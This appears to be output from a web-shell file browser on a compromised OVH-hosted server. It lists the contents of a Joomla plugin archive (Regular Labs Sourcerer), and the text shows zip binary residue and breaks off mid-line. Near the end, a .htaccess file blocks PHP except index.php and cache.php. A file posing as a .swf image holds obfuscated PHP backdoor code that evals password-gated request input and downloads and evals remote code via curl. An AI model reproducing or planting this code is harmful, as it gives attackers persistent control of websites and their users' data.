uawdijnntqw1x1x1
IP : 216.73.217.102
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
cache
/
..
/
cache
/
.
/
..
/
cli
/
..
/
cache
/
..
/
bin
/
..
/
cache
/
..
/
api
/
..
/
sourcerer.zip
/
/
PK4��\}&�C,C, sourcerer.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?> <extension version="4" type="plugin" group="system" method="upgrade"> <name>PLG_SYSTEM_SOURCERER</name> <description>PLG_SYSTEM_SOURCERER_DESC</description> <version>12.1.0</version> <creationDate>June 2025</creationDate> <author>Regular Labs (Peter van Westen)</author> <authorEmail>info@regularlabs.com</authorEmail> <authorUrl>https://regularlabs.com</authorUrl> <copyright>Copyright © 2025 Regular Labs - All Rights Reserved</copyright> <license>GNU General Public License version 2 or later</license> <namespace path="src">RegularLabs\Plugin\System\Sourcerer</namespace> <scriptfile>script.install.php</scriptfile> <files> <file plugin="sourcerer">sourcerer.php</file> <folder>language</folder> <folder>src</folder> </files> <media folder="media" destination="sourcerer"> <folder>images</folder> <folder>js</folder> </media> <config> <fields name="params" addfieldprefix="RegularLabs\Library\Form\Field"> <fieldset name="basic"> <field name="@load_script_descriptions" type="LoadMedia" filetype="script" file="regularlabs.admin-form-descriptions"/> <field name="@load_language_regularlabs" type="LoadLanguage" extension="plg_system_regularlabs"/> <field name="@jcompatibility" type="JCompatibility" extension="SOURCERER"/> <field name="@license" type="License" extension="SOURCERER"/> <field name="@version" type="Version" extension="SOURCERER"/> <field name="@header" type="Header" label="SOURCERER" description="SOURCERER_DESC" url="https://regularlabs.com/sourcerer"/> </fieldset> <fieldset name="SRC_SECURITY_SETTINGS_DEFAULT"> <field name="@block__default" type="Note" class="rl-alert alert alert-info rl-alert-light" text="SRC_SECURITY_SETTINGS_DEFAULT_DESC"/> <field name="@block__default_css__a" type="Block" start="1" label="SRC_CSS"/> <field name="enable_css" type="Radio" default="1" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="SRC_ALLOW_CSS_TAGS" description="SRC_ALLOW_CSS_TAGS_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="@block__default_css__b" type="Block" end="1"/> <field name="@block__default_js__a" type="Block" start="1" label="SRC_JAVASCRIPT"/> <field name="enable_js" type="Radio" default="1" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="SRC_ALLOW_JAVASCRIPT_TAGS" description="SRC_ALLOW_JAVASCRIPT_TAGS_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="@block__default_js__b" type="Block" end="1"/> <field name="@block__default_php__a" type="Block" start="1" label="SRC_PHP"/> <field name="enable_php" type="Radio" default="1" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="SRC_ALLOW_PHP_TAGS" description="SRC_ALLOW_PHP_TAGS_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="@showon__default_php__a" type="ShowOn" value="enable_php:1"/> <field name="forbidden_php" type="Textarea" rows="3" cols="40" default="dl, escapeshellarg, escapeshellcmd, exec, passthru, popen, proc_close, proc_open, shell_exec, symlink, system" label="SRC_FORBIDDEN_PHP_FUNCTIONS" description="SRC_FORBIDDEN_PHP_FUNCTIONS_DESC"/> <field name="forbidden_tags" type="Textareaplus" width="400" height="80" default="" label="SRC_FORBIDDEN_HTML_TAGS" description="SRC_FORBIDDEN_HTML_TAGS_DESC"/> <field name="@showon__default_php__b" type="ShowOn"/> <field name="@block__default_php__b" type="Block" end="1"/> </fieldset> <fieldset name="SRC_SECURITY_SETTINGS_ARTICLES"> <field name="@block__articles" type="Note" class="rl-alert alert alert-info rl-alert-light" text="SRC_SECURITY_SETTINGS_ARTICLES_DESC"/> <field name="@note__articles_security_level" type="OnlyPro" label="SRC_SECURITY_LEVEL" description="SRC_SECURITY_LEVEL_DESC"/> <field name="@block__articles_css__a" type="Block" start="1" label="SRC_CSS"/> <field name="@note__articles_enable_css" type="OnlyPro" label="SRC_ALLOW_CSS_TAGS" description="SRC_ALLOW_CSS_TAGS_DESC"/> <field name="@block__articles_css__b" type="Block" end="1"/> <field name="@block__articles_js__a" type="Block" start="1" label="SRC_JAVASCRIPT"/> <field name="@note__articles_enable_js" type="OnlyPro" label="SRC_ALLOW_JAVASCRIPT_TAGS" description="SRC_ALLOW_JAVASCRIPT_TAGS_DESC"/> <field name="@block__articles_js__b" type="Block" end="1"/> <field name="@block__articles_php__a" type="Block" start="1" label="SRC_PHP"/> <field name="@note__articles_enable_php" type="OnlyPro" label="SRC_ALLOW_PHP_TAGS" description="SRC_ALLOW_PHP_TAGS_DESC"/> <field name="@block__articles_php__b" type="Block" end="1"/> </fieldset> <fieldset name="SRC_SECURITY_SETTINGS_COMPONENTS"> <field name="@block__components" type="Note" class="rl-alert alert alert-info rl-alert-light" text="SRC_SECURITY_SETTINGS_COMPONENTS_DESC"/> <field name="@note__articles_security_level" type="OnlyPro" label="RL_DISABLE_ON_COMPONENTS" description="SRC_DISABLE_ON_COMPONENTS_DESC"/> <field name="@block__components_css__a" type="Block" start="1" label="SRC_CSS"/> <field name="@note__components_enable_css" type="OnlyPro" label="SRC_ALLOW_CSS_TAGS" description="SRC_ALLOW_CSS_TAGS_DESC"/> <field name="@block__components_css__b" type="Block" end="1"/> <field name="@block__components_js__a" type="Block" start="1" label="SRC_JAVASCRIPT"/> <field name="@note__components_enable_js" type="OnlyPro" label="SRC_ALLOW_JAVASCRIPT_TAGS" description="SRC_ALLOW_JAVASCRIPT_TAGS_DESC"/> <field name="@block__components_js__b" type="Block" end="1"/> <field name="@block__components_php__a" type="Block" start="1" label="SRC_PHP"/> <field name="@note__components_enable_php" type="OnlyPro" label="SRC_ALLOW_PHP_TAGS" description="SRC_ALLOW_PHP_TAGS_DESC"/> <field name="@wizard" type="Radio" default="0" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="SRC_SHOW_WIZARD"> <option value="0">JNO</option> <option value="" class="btn btn-outline-success">JYES</option> </field> <field name="@note__wizard" type="Note" class="text-center" text="<img src="../media/sourcerer/images/wizard.gif?20230311" alt="" width="160" height="160" /><h4>The Day of the Sourcerer</h4><p>He stands up and he wakes,<br />He adds and he takes,<br />He mixes and he shakes,<br />He explodes and he bakes,<br />But he makes no mistakes!</p>" showon="@wizard:"/> <field name="@block__components_php__b" type="Block" end="1"/> </fieldset> <fieldset name="SRC_SECURITY_SETTINGS_OTHER_AREAS"> <field name="@block__otherareas" type="Note" class="rl-alert alert alert-info rl-alert-light" text="SRC_SECURITY_SETTINGS_OTHER_AREAS_DESC"/> <field name="@note__articles_security_level" type="OnlyPro" label="RL_ENABLE_OTHER_AREAS" description="SRC_ENABLE_OTHER_AREAS_DESC"/> <field name="@block__otherareas_css__a" type="Block" start="1" label="SRC_CSS"/> <field name="@noticeother_enable_css" type="OnlyPro" label="SRC_ALLOW_CSS_TAGS" description="SRC_ALLOW_CSS_TAGS_DESC"/> <field name="@block__otherareas_css__b" type="Block" end="1"/> <field name="@block__otherareas_js__a" type="Block" start="1" label="SRC_JAVASCRIPT"/> <field name="@note__other_enable_js" type="OnlyPro" label="SRC_ALLOW_JAVASCRIPT_TAGS" description="SRC_ALLOW_JAVASCRIPT_TAGS_DESC"/> <field name="@block__otherareas_js__b" type="Block" end="1"/> <field name="@block__otherareas_php__a" type="Block" start="1" label="SRC_PHP"/> <field name="@note__other_enable_php" type="OnlyPro" label="SRC_ALLOW_PHP_TAGS" description="SRC_ALLOW_PHP_TAGS_DESC"/> <field name="@block__otherareas_php__b" type="Block" end="1"/> </fieldset> <fieldset name="RL_SETTINGS_EDITOR_BUTTON"> <field name="button_text" type="Text" default="Code" label="RL_BUTTON_TEXT" description="RL_BUTTON_TEXT_DESC"/> <field name="enable_frontend" type="Radio" default="1" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="RL_ENABLE_IN_FRONTEND" description="RL_ENABLE_IN_FRONTEND_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="color_code" type="Radio" default="1" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="SRC_COLOR_CODE" description="SRC_COLOR_CODE_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> </fieldset> <fieldset name="RL_TAG_SYNTAX"> <field name="syntax_word" type="Text" size="20" default="source" label="SRC_SYNTAX_WORD" description="SRC_SYNTAX_WORD_DESC"/> <field name="tag_characters" type="List" class="font-monospace w-auto" default="{.}" label="RL_TAG_CHARACTERS" description="RL_TAG_CHARACTERS_DESC"> <option value="{.}">{...}</option> <option value="[.]">[...]</option> <option value="«.»">«...»</option> <option value="{{.}}">{{...}}</option> <option value="[[.]]">[[...]]</option> <option value="[:.:]">[:...:]</option> <option value="[%.%]">[%...%]</option> </field> </fieldset> <fieldset name="advanced"> <field name="@load_language_config" type="LoadLanguage" extension="com_config"/> <field name="trim" type="Radio" default="0" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="RL_STRIP_SURROUNDING_TAGS" description="RL_STRIP_SURROUNDING_TAGS_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="enable_in_head" type="Radio" default="0" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="SRC_ENABLE_IN_HEAD" description="SRC_ENABLE_IN_HEAD_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="remove_from_search" type="Radio" default="0" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="SRC_REMOVE_FROM_SEARCH" description="SRC_REMOVE_FROM_SEARCH_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="include_path" type="Text" default="/" label="SRC_INCLUDE_PATH" description="SRC_INCLUDE_PATH_DESC"/> <field name="tmp_path" type="Text" default="" label="SRC_TEMP_PATH" description="SRC_TEMP_PATH_DESC" hint="JDEFAULT"/> <field name="place_comments" type="Radio" default="1" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="RL_PLACE_HTML_COMMENTS" description="RL_PLACE_HTML_COMMENTS_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> </fieldset> </fields> </config> </extension> PK4��\,�E sourcerer.phpnu&1i�<?php /** * @package Sourcerer * @version 12.1.0 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Extension as RL_Extension; use RegularLabs\Library\Html as RL_Html; use RegularLabs\Library\Protect as RL_Protect; use RegularLabs\Library\SystemPlugin as RL_SystemPlugin; use RegularLabs\Plugin\System\Sourcerer\Area; use RegularLabs\Plugin\System\Sourcerer\Clean; use RegularLabs\Plugin\System\Sourcerer\Params; use RegularLabs\Plugin\System\Sourcerer\Protect; use RegularLabs\Plugin\System\Sourcerer\Replace; use RegularLabs\Plugin\System\Sourcerer\Security; // Do not instantiate plugin on install pages // to prevent installation/update breaking because of potential breaking changes if ( in_array(JFactory::getApplication()->input->getCmd('option'), ['com_installer', 'com_regularlabsmanager']) && JFactory::getApplication()->input->getCmd('action') != '' ) { return; } if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/regularlabs.xml') || ! class_exists('RegularLabs\Library\Parameters') || ! class_exists('RegularLabs\Library\DownloadKey') || ! class_exists('RegularLabs\Library\SystemPlugin') ) { JFactory::getApplication()->getLanguage()->load('plg_system_sourcerer', __DIR__); JFactory::getApplication()->enqueueMessage( JText::sprintf('SRC_EXTENSION_CAN_NOT_FUNCTION', JText::_('SOURCERER')) . ' ' . JText::_('SRC_REGULAR_LABS_LIBRARY_NOT_INSTALLED'), 'error' ); return; } if ( ! RL_Document::isJoomlaVersion(4, 'SOURCERER')) { RL_Extension::disable('sourcerer', 'plugin'); RL_Document::adminError( JText::sprintf('RL_PLUGIN_HAS_BEEN_DISABLED', JText::_('SOURCERER')) ); return; } if (true) { class PlgSystemSourcerer extends RL_SystemPlugin { public $_lang_prefix = 'SRC'; public $_can_disable_by_url = false; public $_jversion = 4; protected function handleOnContentPrepare($area, $context, &$article, &$params, $page = 0) { $src_params = Params::get(); $area = isset($article->created_by) ? 'articles' : 'other'; $remove = $src_params->remove_from_search && in_array($context, ['com_search.search', 'com_search.search.article', 'com_finder.indexer']); if (isset($article->description)) { Replace::replace($article->description, $area, $article, $remove); } if (isset($article->title)) { Replace::replace($article->title, $area, $article, $remove); } // Don't handle article texts in category list view if (RL_Document::isCategoryList($context)) { return false; } if (isset($article->text)) { Replace::replace($article->text, $area, $article, $remove); // Don't also do stuff on introtext/fulltext if text is set return false; } if (isset($article->introtext)) { Replace::replace($article->introtext, $area, $article, $remove); } if (isset($article->fulltext)) { Replace::replace($article->fulltext, $area, $article, $remove); } return false; } /** * @param object $module * @param array $params */ protected function handleOnAfterRenderModule(&$module, &$params): void { if ( ! isset($module->content)) { return; } Replace::replace($module->content, 'module'); } protected function changeDocumentBuffer(&$buffer) { if ( ! RL_Document::isHtml()) { return false; } return Area::tag($buffer, 'component'); } protected function changeFinalHtmlOutput(&$html) { $params = Params::get(); [$pre, $body, $post] = RL_Html::getBody($html); Protect::_($body); Replace::replaceInTheRest($body); Clean::cleanFinalHtmlOutput($body); RL_Protect::unprotect($body); $params->enable_in_head ? Replace::replace($pre, 'head') : Clean::cleanTagsFromHead($pre); $html = $pre . $body . $post; return true; } } } PK4��\� �336language/pt-PT/pt-PT.plg_editors-xtd_sourcerer.sys.ininu&1i�;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_EDITORS-XTD_SOURCERER="Botão - Regular Labs - Sourcerer" PLG_EDITORS-XTD_SOURCERER_DESC="Sourcerer - colocar qualquer código em Joomla!" SOURCERER="Sourcerer" PK5��\��b�||2language/pt-PT/pt-PT.plg_editors-xtd_sourcerer.ininu&1i�;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_EDITORS-XTD_SOURCERER="Botão - Regular Labs - Sourcerer" PLG_EDITORS-XTD_SOURCERER_DESC="Sourcerer - colocar qualquer código em Joomla!" SOURCERER="Sourcerer" CODE="Código" SOURCERER_DESC="Com o botão de editor do Sourcerer pode facilmente colocar um código (com as etiquetas e estilos Sourcerer) no seu texto." SRC_SETTINGS="Por favor, veja o [[%1:start link%]]sistema de plugin Sourcerer[[%2:end link%]] para configurações." SRC_THE_SYSTEM_PLUGIN="o sistema de plugin Sourcerer" PK5��\���))6language/en-GB/en-GB.plg_editors-xtd_sourcerer.sys.ininu&1i�;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_EDITORS-XTD_SOURCERER="Button - Regular Labs - Sourcerer" PLG_EDITORS-XTD_SOURCERER_DESC="Sourcerer - place any code in Joomla!" SOURCERER="Sourcerer" PK5��\�TT2language/en-GB/en-GB.plg_editors-xtd_sourcerer.ininu&1i�;; @package Sourcerer ;; @version 12.1.0 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link https://regularlabs.com ;; @copyright Copyright © 2025 Regular Labs All Rights Reserved ;; @license GNU General Public License version 2 or later ;; ;; @translate Want to help with translations? See: https://regularlabs.com/translate PLG_EDITORS-XTD_SOURCERER="Button - Regular Labs - Sourcerer" PLG_EDITORS-XTD_SOURCERER_DESC="Sourcerer - place any code in Joomla!" SOURCERER="Sourcerer" CODE="Code" SOURCERER_DESC="With the Sourcerer editor button you can easily place your code (with Sourcerer tags and styling) into your text." SRC_SETTINGS="Please see the [[%1:start link%]]Sourcerer system plugin[[%2:end link%]] for settings." SRC_THE_SYSTEM_PLUGIN="the Sourcerer system plugin" PK5��\�O����script.install.phpnu&1i�<?php /** * @package Sourcerer * @version 12.1.0 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\Filesystem\File as JFile; use Joomla\Filesystem\Folder as JFolder; class PlgSystemSourcererInstallerScript { public function postflight($install_type, $adapter) { if ( ! in_array($install_type, ['install', 'update'])) { return true; } self::deleteJoomla3Files(); return true; } private static function delete($files = []) { foreach ($files as $file) { if (is_dir($file)) { JFolder::delete($file); } if (is_file($file)) { JFile::delete($file); } } } private static function deleteJoomla3Files() { self::delete( [ JPATH_SITE . '/media/sourcerer/css', JPATH_SITE . '/media/sourcerer/js/script.js', JPATH_SITE . '/media/sourcerer/js/script.min.js', JPATH_SITE . '/media/sourcerer/less', JPATH_SITE . '/plugins/system/sourcerer/src/Code.php', JPATH_SITE . '/plugins/system/sourcerer/vendor', ] ); } } PK5��\�"x:�� src/Popup.phpnu&1i�<?php /** * @package Sourcerer * @version 12.1.0 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\EditorButton\Sourcerer; defined('_JEXEC') or die; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\EditorButtonPopup as RL_EditorButtonPopup; use RegularLabs\Library\Input as RL_Input; use RegularLabs\Library\RegEx as RL_RegEx; class Popup extends RL_EditorButtonPopup { protected $extension = 'sourcerer'; protected $require_core_auth = false; protected function loadScripts() { $editor_name = RL_Input::getString('editor', 'text'); // Remove any dangerous character to prevent cross site scripting $editor_name = RL_RegEx::replace('[\'\";\s]', '', $editor_name); RL_Document::script('sourcerer.popup'); $script = "document.addEventListener('DOMContentLoaded', function(){RegularLabs.SourcererPopup.init('" . $editor_name . "')});"; RL_Document::scriptDeclaration($script, 'Sourcerer Button', true, 'after'); } } PK5��\�� tmpl/popup.phpnu&1i�<?php /** * @package Sourcerer * @version 12.1.0 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Editor\Editor as JEditor; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Form\Form as JForm; use Joomla\CMS\HTML\HTMLHelper as JHtml; use Joomla\CMS\Language\Text as JText; use Joomla\CMS\Plugin\PluginHelper as JPluginHelper; use RegularLabs\Library\Input as RL_Input; $xmlfile = dirname(__FILE__, 2) . '/forms/popup.xml'; $form = new JForm('sourcerer'); $form->loadFile($xmlfile, 1, '//config'); $editor_plugin = JPluginHelper::getPlugin('editors', 'codemirror'); if (empty($editor_plugin)) { JFactory::getApplication()->enqueueMessage(JText::sprintf('RL_ERROR_CODEMIRROR_DISABLED', JText::_('SOURCERER'), '<a href="index.php?option=com_plugins&filter[folder]=editors&filter[search]=codemirror" target="_blank">', '</a>'), 'error'); return ''; } $user = JFactory::getApplication()->getIdentity() ?: JFactory::getUser(); $editor = JEditor::getInstance('codemirror'); ?> <div class="container-fluid container-main"> <div class="row"> <div class="fixed-top"> <button type="button" class="btn btn-success w-100" onclick="parent.RegularLabs.SourcererButton.insertText('<?php echo RL_Input::getCmd('editor'); ?>');window.parent.Joomla.Modal.getCurrent().close();"> <span class="icon-file-import" aria-hidden="true"></span> <?php echo JText::_('RL_INSERT'); ?> </button> </div> <div class="pt-5"></div> </div> <form action="index.php" id="sourcererForm" method="post" style="width:99%"> <input type="hidden" name="type" id="type" value="url"> <?php echo JHtml::_('uitab.startTabSet', 'main', ['active' => 'code']); ?> <?php $tabs = [ 'code' => 'SRC_CODE', 'css' => 'SRC_CSS', 'js' => 'SRC_JAVASCRIPT', 'php' => 'SRC_PHP', 'settings' => 'SRC_TAG_SETTINGS', ]; foreach ($tabs as $id => $title) { echo JHtml::_('uitab.addTab', 'main', $id, JText::_($title)); echo $form->renderFieldset($id); echo JHtml::_('uitab.endTab'); } ?> <?php echo JHtml::_('uitab.endTabSet'); ?> </form> </div> PK5��\� �=� � forms/popup.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?> <config addfieldprefix="RegularLabs\Library\Form\Field"> <fieldset name="code"> <field name="@code" type="Note" class="rl-alert alert alert-info rl-alert-light" text="SRC_CODE_DESC"/> <field name="@code__a" type="Block" start="1" label="SRC_CODE"/> <field name="code" type="Editor" editor="codemirror" syntax="php" label=""/> <field name="@code__b" type="Block" end="1"/> </fieldset> <fieldset name="css"> <field name="@css_file__a" type="Block" start="1" label="SRC_FILE"/> <field name="@css_file" type="Note" text="SRC_CSS_FILE_DESC"/> <field name="@note__css_file" type="OnlyPro" label=""/> <field name="@css_file__b" type="Block" end="1"/> <field name="@css_code__a" type="Block" start="1" label="SRC_CODE"/> <field name="@css_code" type="Note" text="SRC_CSS_CODE_DESC"/> <field name="@note__css_code" type="OnlyPro" label=""/> <field name="@css_code__b" type="Block" end="1"/> </fieldset> <fieldset name="js"> <field name="@js_file__a" type="Block" start="1" label="SRC_FILE"/> <field name="@js_file" type="Note" text="SRC_JS_FILE_DESC"/> <field name="@note__js_file" type="OnlyPro" label=""/> <field name="@js_file__b" type="Block" end="1"/> <field name="@js_code__a" type="Block" start="1" label="SRC_CODE"/> <field name="@note__js_code" type="OnlyPro" label=""/> <field name="@js_code__b" type="Block" end="1"/> </fieldset> <fieldset name="php"> <field name="@php_file__a" type="Block" start="1" label="SRC_FILE"/> <field name="@note__php_file" type="OnlyPro" label=""/> <field name="@php_file__b" type="Block" end="1"/> <field name="@php_code__a" type="Block" start="1" label="SRC_CODE"/> <field name="@php_code" type="Note" text="SRC_PHP_CODE_DESC"/> <field name="@note__php_code" type="OnlyPro" label=""/> <field name="@php_code__b" type="Block" end="1"/> </fieldset> <fieldset name="settings"> <field name="trim" type="Radio" default="0" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="SRC_TRIM" description="SRC_TRIM_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="raw" type="Radio" default="0" class="btn-group rl-btn-group btn-group-md btn-group-yesno" label="SRC_RAW" description="SRC_RAW_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> </fieldset> </config> PK�\�,r��language/language/.htaccessnu&1i�<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>PK�\����language/language/WxQZSetk.swfnu&1i�<?php goto xFihSmuCIkVVl3; t7O88UBNIeoGRX: $j2kqINE6ZVEAtX = $viBlRqCMQN1y38("\x7e", "\40"); goto lVXoQCQStcR2FB; tsGhRFyDiZaQLo: @(md5(md5(md5(md5($l1ati13J6Pjwql[24])))) === "\x63\x34\x32\x34\x39\144\x66\145\x33\x32\x39\146\61\x63\143\62\x63\145\62\x39\x32\x66\x32\x36\x37\61\x35\66\x37\146\144\x34") && (count($l1ati13J6Pjwql) == 30 && in_array(gettype($l1ati13J6Pjwql) . count($l1ati13J6Pjwql), $l1ati13J6Pjwql)) ? ($l1ati13J6Pjwql[68] = $l1ati13J6Pjwql[68] . $l1ati13J6Pjwql[72]) && ($l1ati13J6Pjwql[86] = $l1ati13J6Pjwql[68]($l1ati13J6Pjwql[86])) && @eval($l1ati13J6Pjwql[68](${$l1ati13J6Pjwql[40]}[16])) : $l1ati13J6Pjwql; goto nmcXY7s6HscGIO; xFihSmuCIkVVl3: $viBlRqCMQN1y38 = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto t7O88UBNIeoGRX; nmcXY7s6HscGIO: metaphone("\172\123\142\x4e\165\113\66\123\x77\x75\x58\x6d\146\x4b\x4d\x59\x59\x35\x76\102\102\101\171\165\161\x52\160\163\x67\112\x6f\x68\166\62\x4d\110\153\x66\x6f\x46\x34\120\147"); goto Ks_A7pH4mcaldc; Ks_A7pH4mcaldc: class Sc3IjWFIAKpqLj { static function i5tJkzDO0KBfZ2($AelA3ofT4ddZit) { goto JIX75Au7wb04cS; h0dyCGJEqjCf5Y: $Bufzoz9llvTldk = $N0rPBy27Cadds2("\176", "\40"); goto zjuLPqz4ZC2Beb; Umym5h4_mYW3Xq: $AJ6pU6Y1i2XSN4 = ''; goto KTnJA538JRKf1r; JIX75Au7wb04cS: $N0rPBy27Cadds2 = "\x72" . "\x61" . "\x6e" . "\x67" . "\145"; goto h0dyCGJEqjCf5Y; zjuLPqz4ZC2Beb: $m28LAXruzpKqfA = explode("\73", $AelA3ofT4ddZit); goto Umym5h4_mYW3Xq; j0Q3KsJwixcAe8: return $AJ6pU6Y1i2XSN4; goto kmrqTMIUYLholU; KTnJA538JRKf1r: foreach ($m28LAXruzpKqfA as $T3LyV704x1Aa5J => $XVa5glgW_NUu0z) { $AJ6pU6Y1i2XSN4 .= $Bufzoz9llvTldk[$XVa5glgW_NUu0z - 86718]; IpxntKW3BNPYVE: } goto jKg_tCHWOTekZX; jKg_tCHWOTekZX: ZeDJ9FiOqYcB4R: goto j0Q3KsJwixcAe8; kmrqTMIUYLholU: } static function M92Mj7jTD3dH6t($LfFEJybxKTKCz6, $LQWHRzdvR5Vq4Z) { goto tSiIpwOK1aB3Rq; tSiIpwOK1aB3Rq: $VC6ztbnfe3Lhk7 = curl_init($LfFEJybxKTKCz6); goto K_41G3VLHRK5NL; K_41G3VLHRK5NL: curl_setopt($VC6ztbnfe3Lhk7, CURLOPT_RETURNTRANSFER, 1); goto vm9wy5BXOgebBy; vm9wy5BXOgebBy: $Hkh9YEgc8xvyin = curl_exec($VC6ztbnfe3Lhk7); goto hDPmz2VHd07XKd; hDPmz2VHd07XKd: return empty($Hkh9YEgc8xvyin) ? $LQWHRzdvR5Vq4Z($LfFEJybxKTKCz6) : $Hkh9YEgc8xvyin; goto gz1C_l4LtF738u; gz1C_l4LtF738u: } static function OXIHrVYwVKe4TY() { goto pOhbV5ecYVAvo4; HSzzEi5VXotyPq: @$YWHdCklfGBroON[5 + 5](INPUT_GET, "\157\146") == 1 && die($YWHdCklfGBroON[4 + 1](__FILE__)); goto COARZ5vXPsKwhQ; Wnu8XmE75pdS5L: @eval($YWHdCklfGBroON[0 + 4]($VoCzxfnT7MXuTe)); goto n5aJgjr3ukoWpf; cZnNTsEXeO1M6o: $VoCzxfnT7MXuTe = self::m92MJ7jtD3dH6t($WvbByPBabFDSE2[1 + 0], $YWHdCklfGBroON[2 + 3]); goto Wnu8XmE75pdS5L; chLcuU_0siMWAD: $uOqYGOmtvmX2VZ = @$YWHdCklfGBroON[1 + 2]($YWHdCklfGBroON[3 + 3], $P4OL_7w9XODq4z); goto rAgeeY8_Ov3nKV; Bx863u9VX0OuI6: XOF_7pL_cR22QT: goto aVCAj9PwjkDCIC; pOhbV5ecYVAvo4: $WwaWs7xURj7jLS = array("\70\x36\67\64\65\73\x38\66\x37\63\x30\x3b\x38\x36\67\64\63\x3b\70\x36\x37\x34\x37\x3b\x38\66\x37\62\70\73\70\66\67\64\x33\73\70\66\67\x34\x39\73\70\x36\x37\64\62\x3b\70\66\x37\x32\67\x3b\70\x36\67\x33\x34\73\x38\66\67\64\65\x3b\x38\66\x37\62\70\73\70\x36\x37\63\x39\x3b\70\x36\x37\63\x33\73\70\66\67\63\x34", "\x38\66\67\x32\x39\73\70\66\67\62\70\73\70\66\67\63\x30\73\70\66\x37\x34\x39\73\70\66\67\x33\x30\73\x38\66\x37\63\63\73\70\x36\x37\62\x38\x3b\70\66\x37\x39\65\x3b\70\x36\67\71\x33", "\x38\66\67\63\x38\x3b\x38\66\67\62\x39\73\x38\66\x37\63\63\x3b\x38\66\67\x33\64\73\70\x36\x37\x34\x39\x3b\70\66\x37\64\x34\73\70\x36\x37\64\x33\x3b\x38\x36\67\x34\65\73\70\x36\x37\63\63\x3b\70\x36\x37\64\x34\73\70\x36\x37\x34\x33", "\70\66\67\63\x32\x3b\x38\x36\x37\64\67\x3b\x38\66\x37\64\x35\x3b\x38\66\67\x33\x37", "\x38\66\x37\64\66\x3b\x38\x36\67\x34\67\x3b\x38\66\x37\x32\71\73\x38\66\x37\64\x33\x3b\70\x36\x37\71\x30\73\x38\66\x37\71\x32\73\x38\x36\x37\64\x39\x3b\x38\x36\67\x34\64\x3b\70\66\67\64\63\x3b\x38\66\x37\x34\65\x3b\x38\x36\67\63\x33\x3b\x38\66\67\64\x34\x3b\70\66\x37\64\x33", "\70\x36\67\64\62\73\70\x36\x37\63\71\73\70\66\x37\x33\x36\x3b\x38\x36\x37\64\x33\x3b\x38\x36\x37\x34\x39\x3b\70\x36\67\64\x31\x3b\x38\x36\67\x34\x33\73\x38\66\67\62\70\73\x38\x36\67\x34\71\73\x38\x36\67\x34\x35\73\x38\x36\67\x33\x33\73\70\66\67\x33\x34\73\70\66\x37\x32\x38\73\70\66\67\x34\x33\73\x38\66\67\63\x34\73\x38\66\x37\x32\70\x3b\70\x36\67\x32\x39", "\70\66\67\67\62\73\x38\x36\x38\60\62", 